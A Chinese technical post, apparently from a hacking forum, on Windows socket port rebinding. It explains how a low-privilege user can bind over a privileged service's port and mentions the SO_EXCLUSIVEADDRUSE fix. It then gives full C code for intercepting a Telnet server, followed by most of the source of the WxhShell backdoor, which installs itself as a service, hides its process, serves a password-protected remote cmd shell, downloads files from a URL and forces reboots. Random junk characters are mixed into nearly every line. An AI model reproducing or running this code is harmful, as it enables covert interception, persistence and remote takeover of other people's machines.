在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
\<**SSN s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
-::%9D}P| #1@~w}Dh saddr.sin_family = AF_INET;
%SCu29km Q%^bA,$&D saddr.sin_addr.s_addr = htonl(INADDR_ANY);
6l'y h>0<@UP bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
%<yM=1~> M7,MxwZ0k 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
kB#vh bl_WN|SQ 这意味着什么?意味着可以进行如下的攻击:
i5Q<~;Z+ zi
.,?Q 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
0(x@
NGb>{ -^v}T/Kl# 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
(p=GR# #Ca's'j&f 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Q%Q?q)x 3:lp"C51 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
nX%'o`f EG4bFmcs 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
[t{#@X %PbqASm 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
\[1CDz=}1 r:4IKuTR 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
E2'e}RQ ZGhoV#T@ #include
%+a@|Z #include
mX@*2I #include
y51D-vj #include
E^a`IA DWORD WINAPI ClientThread(LPVOID lpParam);
9X9zIh]JV int main()
QYXx7h r=$ {
'hw@l>1\9 WORD wVersionRequested;
5l0rw)
DWORD ret;
O7'3}P; WSADATA wsaData;
2EwWV0BS BOOL val;
k=2l9C3Z SOCKADDR_IN saddr;
Cf[F`pFM SOCKADDR_IN scaddr;
jDXGm[U int err;
?3,tG z) SOCKET s;
OB^?cA> SOCKET sc;
5dw@g4N %^ int caddsize;
oh0|2IrM HANDLE mt;
b.q"s6u DWORD tid;
A>%UYA wVersionRequested = MAKEWORD( 2, 2 );
h^kNM8 err = WSAStartup( wVersionRequested, &wsaData );
GY]6#>D#7 if ( err != 0 ) {
}, &,Dt printf("error!WSAStartup failed!\n");
vx}Z return -1;
Gj8[*3d }
8:?Q(M7 saddr.sin_family = AF_INET;
sJK:xk.6! (Zg'pSs) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
y6jmn1K GtJ*&=( saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
ANQa2swM saddr.sin_port = htons(23);
)-KE 4/G if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
\}QuNwc {
0$Y 9>)O printf("error!socket failed!\n");
([dL:Fb return -1;
0gD59N'C }
K6*UFO4}i val = TRUE;
" IkF/ //SO_REUSEADDR选项就是可以实现端口重绑定的
76Vyhf&7 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
J&ECm+2 {
m4SXH> o printf("error!setsockopt failed!\n");
:#:O(K1PW return -1;
I=
h4s( }
0$ 9;pzr //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ZQ' z //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
C=aj& //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
NwlRPyt %_R|@cyD if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
^Xy$is3 {
<C"N X ret=GetLastError();
,x"yZ printf("error!bind failed!\n");
R5&$h$[/ return -1;
->2wrOH|H }
}42qMOi#w1 listen(s,2);
vs])%l%t while(1)
]n]uN~)9 {
dFP-(dX# caddsize = sizeof(scaddr);
NQiecxvt= //接受连接请求
l9NOzAH3 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
wQ=yY$VP if(sc!=INVALID_SOCKET)
]RXtC* {
g;#KBxE mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
2C33;?M if(mt==NULL)
j)tCr Py {
^Ii \vk printf("Thread Creat Failed!\n");
5 (21gW9 break;
X]pWvQ Q] }
-8Jl4F , }
CpRu*w{ CloseHandle(mt);
~? FrI }
R-A'v&= closesocket(s);
2u*h*/ WSACleanup();
B?lBO
V4v4 return 0;
56=K@$L {F }
:O'C:n<g DWORD WINAPI ClientThread(LPVOID lpParam)
Uq]EJu {
Fwx~ ~"I SOCKET ss = (SOCKET)lpParam;
MHnf\|DX SOCKET sc;
5
2@udp unsigned char buf[4096];
nl-t<#z[ SOCKADDR_IN saddr;
(\mulj long num;
#S53u?JV8 DWORD val;
xngeV_xc2 DWORD ret;
Z"n'/S:q //如果是隐藏端口应用的话,可以在此处加一些判断
/pIb@:Y1? //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
<qq'h saddr.sin_family = AF_INET;
UC+7-y, saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
le^_6|ek saddr.sin_port = htons(23);
x<*IF,o if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
BsK|:MM] {
aFr!PQp4{ printf("error!socket failed!\n");
k99gjL` return -1;
6a%:zgkOpu }
-_EY$?4 val = 100;
[Zt#
c C+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>^H'ZYzw {
Cwsoz ret = GetLastError();
hVipr hC return -1;
=|gJb|?w }
s
la*3~?* if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
])QO% {
)+w/\~@ ret = GetLastError();
WpJD=C% return -1;
+Y5(hjE }
R?bn,T> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
GcZM+ c {
iz9\D*or printf("error!socket connect failed!\n");
}c35FM, closesocket(sc);
Z[})40[M closesocket(ss);
UVT>7 return -1;
VA=#0w }
M2;%1^ while(1)
S_|9j{w) {
2;%#C!TG; //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
`CAG8D //如果是嗅探内容的话,可以再此处进行内容分析和记录
D%;wVnUw //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
%
UW=: num = recv(ss,buf,4096,0);
A#Q0{z@H if(num>0)
Ox7uG{t$# send(sc,buf,num,0);
--
i&" else if(num==0)
7wiK.99 break;
)BF \!sTn num = recv(sc,buf,4096,0);
u>,lf\Fgz if(num>0)
XN~#gm#
send(ss,buf,num,0);
e0v9uQ%F5 else if(num==0)
dysX break;
DOF?(:8Y }
Z]x5! closesocket(ss);
:kME closesocket(sc);
FE8+E\ U? return 0 ;
){O1&|z- }
qE#&) qPXANx<^ FG>;P]mvp ==========================================================
8^<c,!DM pAJ=f}",]E 下边附上一个代码,,WXhSHELL
:u>W&D 9Eq^B9( ==========================================================
&\[Qm{lN I%;Rn:zl #include "stdafx.h"
r~Y>+ln. *D=K{bUe' #include <stdio.h>
5E]UI YAkV #include <string.h>
hi ;WFyJTu #include <windows.h>
wUZQB1$F #include <winsock2.h>
4NpHX+=P #include <winsvc.h>
T>\nWancQM #include <urlmon.h>
%PQldPL8 H_%d3 RI #pragma comment (lib, "Ws2_32.lib")
pG,<_N@P #pragma comment (lib, "urlmon.lib")
",~ b2]ym ]PR|d\O #define MAX_USER 100 // 最大客户端连接数
o5N]((9 #define BUF_SOCK 200 // sock buffer
tr}KPdE #define KEY_BUFF 255 // 输入 buffer
QO5OnYh sTKab
: #define REBOOT 0 // 重启
ELN|;^-/|Q #define SHUTDOWN 1 // 关机
^H5w41 V.K70)] #define DEF_PORT 5000 // 监听端口
ZhGh{D[, Nl~Z,hT$* #define REG_LEN 16 // 注册表键长度
U/.w;DI #define SVC_LEN 80 // NT服务名长度
!: m`9o8 :0M'=~[ // 从dll定义API
Ff[H>Lp~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
u{g]gA8s typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
-;+m%"k5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
X!U]`Qh typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
_wm~}_Q 9Tzc(yCY // wxhshell配置信息
"NxOOLL struct WSCFG {
J*}VV9H int ws_port; // 监听端口
i'Y-V]-> char ws_passstr[REG_LEN]; // 口令
r@|R-Binz int ws_autoins; // 安装标记, 1=yes 0=no
T1lXYhAWS char ws_regname[REG_LEN]; // 注册表键名
ISpeV char ws_svcname[REG_LEN]; // 服务名
Z -pyFK\ char ws_svcdisp[SVC_LEN]; // 服务显示名
jmRhAJV char ws_svcdesc[SVC_LEN]; // 服务描述信息
tegOT]| char ws_passmsg[SVC_LEN]; // 密码输入提示信息
c *.G]nRc int ws_downexe; // 下载执行标记, 1=yes 0=no
d>^~9X char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
5>'?:jY char ws_filenam[SVC_LEN]; // 下载后保存的文件名
fkW3~b /t$rX3A };
utq.r_ qzz[y#q( // default Wxhshell configuration
rQ=xcn[A struct WSCFG wscfg={DEF_PORT,
&|/vM. "xuhuanlingzhe",
"(0oP9lZ 1,
])N|[ |$ "Wxhshell",
sk#9x`Rw "Wxhshell",
PASuf.U$" "WxhShell Service",
H!Wis3S3G "Wrsky Windows CmdShell Service",
nA>*IU[ "Please Input Your Password: ",
j'k8^*M6 1,
L5R `w&Up "
http://www.wrsky.com/wxhshell.exe",
f8^"E $" "Wxhshell.exe"
i B%XBR };
UE"7
HvAE,0N // 消息定义模块
2y^Uk,g char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
H9sZR>(^ char *msg_ws_prompt="\n\r? for help\n\r#>";
$b4*/vMr char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
cE^kpnVq|< char *msg_ws_ext="\n\rExit.";
:[L{KFQU char *msg_ws_end="\n\rQuit.";
cL?\^K) char *msg_ws_boot="\n\rReboot...";
D._{E*vg char *msg_ws_poff="\n\rShutdown...";
$RpFxi
char *msg_ws_down="\n\rSave to ";
+z+F- a4%`" char *msg_ws_err="\n\rErr!";
)y6QAp char *msg_ws_ok="\n\rOK!";
:}^Rs9 ' ,(6)ghr char ExeFile[MAX_PATH];
dI!8S int nUser = 0;
w"q-#,37j HANDLE handles[MAX_USER];
+IvNyj| int OsIsNt;
6@&fvf n.@#rBKZ SERVICE_STATUS serviceStatus;
aZP2R" SERVICE_STATUS_HANDLE hServiceStatusHandle;
z|uOJ0uK 3*G5F}7%= // 函数声明
{!lNL[x int Install(void);
HB%K|&!+ int Uninstall(void);
7@JjjV int DownloadFile(char *sURL, SOCKET wsh);
B
i'd5B5 int Boot(int flag);
KrS void HideProc(void);
wc"9A~ int GetOsVer(void);
5;}2[3}[ int Wxhshell(SOCKET wsl);
WmNA5;<Q void TalkWithClient(void *cs);
PVhik@Yoh int CmdShell(SOCKET sock);
@]*[c})/ int StartFromService(void);
`4_c0q)N4 int StartWxhshell(LPSTR lpCmdLine);
B\f"Iirw g-XKP VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
N5yJ'i~,M VOID WINAPI NTServiceHandler( DWORD fdwControl );
>A<Df *E.LP1xP // 数据结构和表定义
cbfDB^_ SERVICE_TABLE_ENTRY DispatchTable[] =
;;M"hI3@ {
]7*kWc2 {wscfg.ws_svcname, NTServiceMain},
;3mL^ {NULL, NULL}
-=5EbNPwG };
TM)u?t+[ X2LV&oi // 自我安装
>$Fp}?xX int Install(void)
UnP|]]o:I {
uN8/Q2 char svExeFile[MAX_PATH];
/\d(c/, 4 HKEY key;
rjXnDh]MC strcpy(svExeFile,ExeFile);
*u}'}jC1X 3\1#eK'TK. // 如果是win9x系统,修改注册表设为自启动
h
5Hr[E1 if(!OsIsNt) {
Sg_O?.r if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
9YAM#LBTWi RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*-6? RegCloseKey(key);
iM"asEU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
v_.HGGS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0JK2%% RegCloseKey(key);
+N7"EROc return 0;
w~]T<^fW~ }
@'
d6iYk_ }
"sD1T3!\)Q }
Z0aUHWms else {
wE?CvL 4oV
{=~V // 如果是NT以上系统,安装为系统服务
Q<1L`_.> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Gy9
$Wj if (schSCManager!=0)
a#$N% =j {
qIz}$%!A SC_HANDLE schService = CreateService
mf$Sa58 (
g
&*mozs schSCManager,
CG.,/]_ wscfg.ws_svcname,
S"Kq^DN wscfg.ws_svcdisp,
f9a$$nb3` SERVICE_ALL_ACCESS,
##v`(#fu SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
7LfcF SERVICE_AUTO_START,
iKhH ^V%j SERVICE_ERROR_NORMAL,
*Z; r
B svExeFile,
HAd%k$Xu{ NULL,
`UQEXoB) NULL,
XC2FF&B& NULL,
sCkO0dl8 NULL,
(vnoP< 0
NULL
C s#w72N );
Q,~x# if (schService!=0)
>nK%^T {
TtZ}"MPZ CloseServiceHandle(schService);
T{tn.sT CloseServiceHandle(schSCManager);
7*/J4M N strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
|g!`\@O strcat(svExeFile,wscfg.ws_svcname);
s%O Y<B@V2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
4vLw?_". RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
>L=;"+B0U& RegCloseKey(key);
modC6d% return 0;
or!!s
5[d }
e}e6r3faz }
{yS;NU`2 CloseServiceHandle(schSCManager);
ws[/ }
7E\g
&R. }
T)~!mifX -=a[J;'q return 1;
\E77SO,$ }
5B?i(2 Im+7<3Z // 自我卸载
!b63ik15O~ int Uninstall(void)
WL1\y| {
5{X*a HKEY key;
IJ_ m m]P/if7 if(!OsIsNt) {
d8o ewkiR if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
b]i>Bv RegDeleteValue(key,wscfg.ws_regname);
vY_eDJ~' RegCloseKey(key);
tF%QH[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
uXpv*i{R RegDeleteValue(key,wscfg.ws_regname);
'%&z.{ RegCloseKey(key);
@vt$MiOi return 0;
N571s }
,56;4)cv }
WqQU@sA }
N&m_e)E5c else {
5gshKmt_ )~dOmfw%| SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
PS}73Y# if (schSCManager!=0)
{OP~8e" {
6.19g'{sB SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
1qZG`Vz if (schService!=0)
|'$ l7 {
?oKL&I@ if(DeleteService(schService)!=0) {
R5kH0{zM CloseServiceHandle(schService);
n"Z |e tZ4 CloseServiceHandle(schSCManager);
Y{+3}drJE return 0;
9`Vc }
jT-<IJh!o CloseServiceHandle(schService);
9yL6W'B! }
`ET& VV CloseServiceHandle(schSCManager);
oM-[B h]A }
Sc_5FX\Yx }
D5L{T+}Oi% i*CnoQH return 1;
5\'AD^{ }
d.AC%&W esI'"hVJ // 从指定url下载文件
Ww`&i int DownloadFile(char *sURL, SOCKET wsh)
(f>M &.. {
n[CoS HRESULT hr;
M*`hDdS char seps[]= "/";
2(+P[( N1, char *token;
r6
}_H?j char *file;
h.}u?{ char myURL[MAX_PATH];
(w$'o*z;( char myFILE[MAX_PATH];
;==j|/ERe JDlBVZ! strcpy(myURL,sURL);
+`}o,z/^ token=strtok(myURL,seps);
N2FbrfNFa while(token!=NULL)
;s_"{f`Y6 {
!8/gL file=token;
MI*Sq\-i token=strtok(NULL,seps);
!y[3]8Xxv }
u"Y]P*[k 0OWL GetCurrentDirectory(MAX_PATH,myFILE);
LGVlc@0' strcat(myFILE, "\\");
|,sMST% strcat(myFILE, file);
$^h?:L:1n send(wsh,myFILE,strlen(myFILE),0);
ArXl=s';s4 send(wsh,"...",3,0);
t9` Ed>a hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Ct!S Tk[2 if(hr==S_OK)
>lLo4M 3 return 0;
A ~&+F>Z else
X"<|Z]w return 1;
@GeHWv Ep ">v>" }
bV6V02RF 2Y+:,ud\ // 系统电源模块
ri=+(NKo- int Boot(int flag)
doLNz4W {
wW5Yw
i HANDLE hToken;
E9$H nj+m TOKEN_PRIVILEGES tkp;
B*79qq C6^j#rl
if(OsIsNt) {
D^?_"wjW OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
MLS;SCl LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
u)~s4tP4 tkp.PrivilegeCount = 1;
ab4LTF| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
>r}Vf9 5[N AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
d G0 VBE if(flag==REBOOT) {
tX?J@+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
|GuEGmR return 0;
?,XC=} }
9@y3IiZ"} else {
6+PGwCS if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
(h,Ws-O return 0;
<L&eh&4c }
u-.L^!k }
- _t&+5] else {
[cpNiw4e if(flag==REBOOT) {
?\Q0kr.T% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
'n4u-pM(nB return 0;
i!,HB|wQ }
Ekjf^Uo else {
_B$"e[:yX if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
=bL{i&& return 0;
l &Z(K,6 }
C*rd;+1A }
<[hz?:G"$ ea~i-7 return 1;
XA3s],Rk }
[hnK/4! r\xXU~$9v // win9x进程隐藏模块
KY+]RxX void HideProc(void)
<'2u
a {
[@2s&Ct; %h/! Y<% HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Kv?;cu! if ( hKernel != NULL )
@a(oB.i {
784;]wdy\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
RGp'b ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
2 ~-( A FreeLibrary(hKernel);
;rHz;]si }
/b{HG7i\ C +@ i return;
fSI %c3 }
* nCx[ 9L HuS // 获取操作系统版本
Tz` ,{k int GetOsVer(void)
g+|Bf&_ {
4_Y!el H) OSVERSIONINFO winfo;
5;Ia$lm=y winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
%6i=lyH- GetVersionEx(&winfo);
5~l2!PY if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
=]b9X7} return 1;
40.AM1Z0f else
|Fp'/~|w2d return 0;
P)1EA; }
HNMBXXf,B 6"%2,`Nu // 客户端句柄模块
\h#9oPy int Wxhshell(SOCKET wsl)
sHs g_6~ {
Vp7b4n< SOCKET wsh;
Fu##'# struct sockaddr_in client;
-u~eZ?(!Ye DWORD myID;
/qXzOd xA-jvu9@ while(nUser<MAX_USER)
0;cuX@A/a? {
bNs[O22 int nSize=sizeof(client);
ke6n/ h5` wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
g;G5 r&T if(wsh==INVALID_SOCKET) return 1;
Q|//Z ; )|nkI handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
jL_5]pzJ if(handles[nUser]==0)
a8QfkOe closesocket(wsh);
G_(ct5:_"! else
@C_ =* nUser++;
4 Py3I9 }
D|TR! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
b1)\Zi veO?k.u( return 0;
Z =
ik{/ }
f4
O]`U 6[+j'pW? // 关闭 socket
PbN3;c3 void CloseIt(SOCKET wsh)
{AgBwBCE {
^A#x<J+ closesocket(wsh);
(&c,twa~ nUser--;
T#r=<YH[C ExitThread(0);
{(0Id ! }
fTgbF{?xh }4KW@L[g // 客户端请求句柄
zbg+6qs}) void TalkWithClient(void *cs)
4if\5 P:j {
acae=c|X }.t^D| SOCKET wsh=(SOCKET)cs;
JWWInuH char pwd[SVC_LEN];
{*fUJmao" char cmd[KEY_BUFF];
5M.Red.L char chr[1];
D aDUK? int i,j;
UM\}aq=, # JFYws while (nUser < MAX_USER) {
GhiHA9. )Y[/! if(wscfg.ws_passstr) {
0%H24N
9. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}VZM,.w //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
8<c'x]~ //ZeroMemory(pwd,KEY_BUFF);
+C5#$5]; i=0;
GGM5m|4 while(i<SVC_LEN) {
X+*<B(E %ET
#
z! // 设置超时
?RJdn]`4j fd_set FdRead;
R#LGFXUj struct timeval TimeOut;
i'iO H|s FD_ZERO(&FdRead);
nF|Oy0 FD_SET(wsh,&FdRead);
4+I 3+a" TimeOut.tv_sec=8;
Y{j7Q4{ TimeOut.tv_usec=0;
<(?'
s9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
oN ;-M-( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
pU@YiwP"]x L6xB`E9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
AoU_;B\b% pwd
=chr[0]; S*s:4uf
if(chr[0]==0xd || chr[0]==0xa) { J@gm@ jLc
pwd=0; "u5KbJW
break; $E @ouX?
} jJ<;2e~OW
i++; (gDQ\t@3-
} ;t~*F#p(!
[9J:bD
// 如果是非法用户,关闭 socket $':JI#
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); sX!3_'-
} Wt"ww~h`(
z6 a,0&;-L
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q!`)e @r
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iel-<(~
6N?#b66
while(1) { 1y~L8!:L
zF?31\GOX
ZeroMemory(cmd,KEY_BUFF); gY%OhYtF2
qL,ka
// 自动支持客户端 telnet标准 V07VwVD
j=0; @ "0uM?_)-
while(j<KEY_BUFF) { )# p.`J
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .Nk}Z9L]k
cmd[j]=chr[0]; Ej{+U
if(chr[0]==0xa || chr[0]==0xd) { !. p
cmd[j]=0; hAlPl<BO#V
break; @]E]W#xAn
} W
w^7^q&
j++; aU4R+.M7@
} }\DAg'e)
, !r@9T
// 下载文件 *|^,DGfQ6
if(strstr(cmd,"http://")) { ;}UzJe ,S
send(wsh,msg_ws_down,strlen(msg_ws_down),0); L,WkJe3
if(DownloadFile(cmd,wsh)) )O9f hj)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WqR7uiCi
else el}hcAY/RP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X:U=MWc>
} tg3zXJ4k_
else { [z^Od
!ZX&r{pJp
switch(cmd[0]) { #s*k|
j}
2G
ZF/9}
// 帮助 K[e`t%2_
case '?': { xUIvLH=
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `t%|.=R
break; e~3]/BL
} @`5QG2
// 安装 KM 5jl9Vv
case 'i': { <>VIDE
if(Install()) Qg[heND
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?vMK'"
else /q T E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xC'mPcU8
break; q)vK`\Y
} ) sRN!~
// 卸载 (v]P<3%
case 'r': { U&`6&$]
if(Uninstall()) 5[nmP95YK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !;TR2Zcn
else F|6
nwvgq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .#"1bRWpZ
break; PL9<*.U"=
} *3!(*F@M,
// 显示 wxhshell 所在路径 dr.**fGYde
case 'p': { #]k0Z~Bl
char svExeFile[MAX_PATH]; U[IQ1AEr
strcpy(svExeFile,"\n\r"); E=}6X9X
strcat(svExeFile,ExeFile); vz- 9<w;>a
send(wsh,svExeFile,strlen(svExeFile),0); yq1Gqbh
l
break; tp7oc_s?.
} tsck|;v
// 重启 aXQ&@BZ{j
case 'b': { AbL5 !'
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SE6>vKR/.
if(Boot(REBOOT)) 7F"3 <U@J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3(MoXA*
else { >ze>Xr'm5=
closesocket(wsh); BHEs+e0
ExitThread(0); xT:qe
} ;&RUE
break; Rk}\)r\
} iK ohuZr
// 关机 ]U_5\$
case 'd': { b*cW<vX}~
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :b.3CL\.6
if(Boot(SHUTDOWN)) a:=q8Qy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $[)6H7!U)
else { |Uc<;> l
closesocket(wsh); X";TZk
ExitThread(0); _2wAaJvA
} joxS+P5#
break; Tnf&pu#5
} th5
X?so
// 获取shell C_6GOpl
case 's': { cR,'o'V/
CmdShell(wsh); (}9cD^F0n
closesocket(wsh); $$k7_rs
ExitThread(0); | -JI`!7
break; s[Y)d>~\$=
} mYntU^4f
// 退出 _TtX`b_Z
case 'x': { -b].SG5S
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1R5Yn(
CloseIt(wsh);
s.|!Ti!]
break; N<p5p0
} AmP#'U5
// 离开 ue,#,3{m
case 'q': { -L+\y\F
send(wsh,msg_ws_end,strlen(msg_ws_end),0); OD{5m(JwL
closesocket(wsh); PthIdaN@
WSACleanup(); ;7;zhJs1t
exit(1); n/ui<&(
break; {CW1t5$*
} 0eQ~#~j&
} 3"^a
rK^N
} K%98;e9
pGO|~:E/L
// 提示信息 eV"d v*R
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l R:Ok8e
} Gtj(
} 3?!G-
1_N~1Ik
return; JQ~y- lt
} 99\{! W
D=jSh
// shell模块句柄 Q2JdO 6[96
int CmdShell(SOCKET sock) w%>aR_G
{ 5x:Ift
*
STARTUPINFO si; p>2||
ZeroMemory(&si,sizeof(si)); j)g_*\tQ
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i58ZV`Rk`
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5W*7qD[m
PROCESS_INFORMATION ProcessInfo; *54>iO-
c
char cmdline[]="cmd"; JoZqLy!@
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &{X{36
return 0; b=6MFPbg
} SZCF3m&pz
LEYWH%y
// 自身启动模式 %1Vu=zCAW
int StartFromService(void) v[0DE*p
{ E"Ya-8d=
typedef struct kWzuz#
{ +AE&GU
DWORD ExitStatus; )2iM<-uB
DWORD PebBaseAddress; A8=e?%
DWORD AffinityMask; [5>S-Z
DWORD BasePriority; \[Sm2/9v
ULONG UniqueProcessId; \(.nPW]9
